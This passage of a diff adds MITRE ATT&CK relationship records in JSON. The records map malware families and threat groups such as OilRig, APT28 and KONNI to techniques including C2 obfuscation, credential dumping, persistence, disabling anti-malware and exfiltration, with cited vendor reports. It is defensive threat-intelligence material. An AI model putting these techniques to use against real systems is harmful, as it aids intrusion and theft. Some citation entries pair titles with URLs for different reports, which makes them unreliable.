"relationship--9287e689-758f-4701-80b6-41bcf348ab10", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command ipconfig /all.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ec53623-4050-498b-ba9e-f149d203036c", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a", + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "source_name": "Trend Micro IXESHE 2012", + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.609Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather system information, the computer name, OS version, drive and serial information from the victim's machine.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on attached removable drives based on a predefined list of file extensions every five seconds.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d87588e-2202-4616-a536-e43a2606721b", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After encrypting log files, the log encryption module in [Prikormka](https://attack.mitre.org/software/S0113) deletes the original, unencrypted files from the host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be5dadd8-71ce-40ac-8858-5d5c5fbe0e96", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.386Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) encodes C2 communications with base64.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37f48df4-80b1-4f5b-917c-8ac699e5cc0e", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83256f2c-78fe-4fe2-82f0-55df116a0ebc", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.962Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab9b78cc-2b83-4074-beeb-0af4aad906d3", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a tool that captures information from air-gapped computers via an infected USB and transfers it to network-connected computer when the USB is inserted.", + "type": "relationship", + "created": "2017-05-31T21:33:27.040Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c569059f-8a7d-4777-a111-d3ab62d178ca", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-07-27T00:09:36.308Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.120Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f07267d5-f532-4a52-abd6-20d5f94a2bf8", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) installs VNC server software that executes through rundll32.", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--539f8bc3-3fb4-43af-8918-9a65239cdff6", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "modified": "2019-03-22T19:59:27.038Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) terminates anti-malware processes if they\u2019re found running on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a99f7b3c-4757-47b0-8649-795f1e0f7c60", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can create a service.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a866320-6bfd-4130-941c-bcd888f2ee92", + "external_references": [ + { + "source_name": "Symantec Wiarp May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. 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Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "modified": "2019-07-26T18:47:18.887Z", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails containing malicious links.", + "type": "relationship", + "created": "2019-01-31T01:07:58.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5758382a-2ada-4d05-ad25-8ee802a9e041", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "modified": "2019-07-17T13:11:38.038Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.", + "type": "relationship", + "created": "2019-01-31T01:39:56.558Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b39c536a-55f1-485a-8235-24acb39d0be6", + "external_references": [ + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "modified": "2019-04-18T21:49:12.739Z", + "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used FTP to exfiltrate collected data.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--177950ec-8f25-4243-8d9d-a15e24ff7c98", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.731Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has encrypted and encoded data in its malware, including by using base64.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdbfa147-52be-411d-bcbd-f6dcbf91d7b5", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). 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Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "source_name": "Unit42 OilRig Nov 2018", + "description": "Falcone, R., Wilhoit, K.. (2018, November 16). Analyzing OilRig\u2019s Ops Tempo from Testing to Weaponization to Delivery. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/" + } + ], + "modified": "2019-07-17T16:17:30.181Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f653eb7d-7027-4161-9071-b52336bd4fbc", + "external_references": [ + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:31:34.364Z", + "type": "relationship", + "id": "relationship--8b439661-99e2-4410-b043-082155793155", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about files and directories: dir c:\\ >> %temp%\\download dir \"c:\\Documents and Settings\" >> %temp%\\download dir \"c:\\Program Files\\\" >> %temp%\\download dir d:\\ >> %temp%\\download", + "type": "relationship", + "created": "2017-05-31T21:33:27.052Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c816fc0-c4e3-47ef-8193-ef88eabdfc7e", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:58.147Z", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality and uses an AES CBC (256 bits) encryption algorithm for its loader and configuration files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). 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Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.747Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.509Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--949c94e6-7c2f-4605-957f-11b7cd5a6097", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) obfuscates C2 traffic with an altered version of base64.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c79d7110-46bb-4b6d-a256-87bd1b6379a3", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.999Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KONNI](https://attack.mitre.org/software/S0356) used PowerShell to download and execute a specific 64-bit version of the malware.", + "type": "relationship", + "created": "2019-01-31T00:36:40.867Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7425e191-ec5c-40ec-ab5f-fb99d6064422", + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. 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Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:38.185Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) collects MAC address and local IP address information from the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--760be456-6b72-4b86-b5aa-3297aa89bc4d", + "external_references": [ + { + "source_name": "US-CERT FALLCHILL Nov 2017", + "description": "US-CERT. (2017, November 22). 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Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.486Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) creates a new Windows service with the malicious executable for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ee064f9-05bc-4b9e-ad95-d1ae4f1c048a", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). 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Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.253Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. 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Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to retrieve information about connected users.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae", + "external_references": [ + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) has the ability to list processes on the system.", + "type": "relationship", + "created": 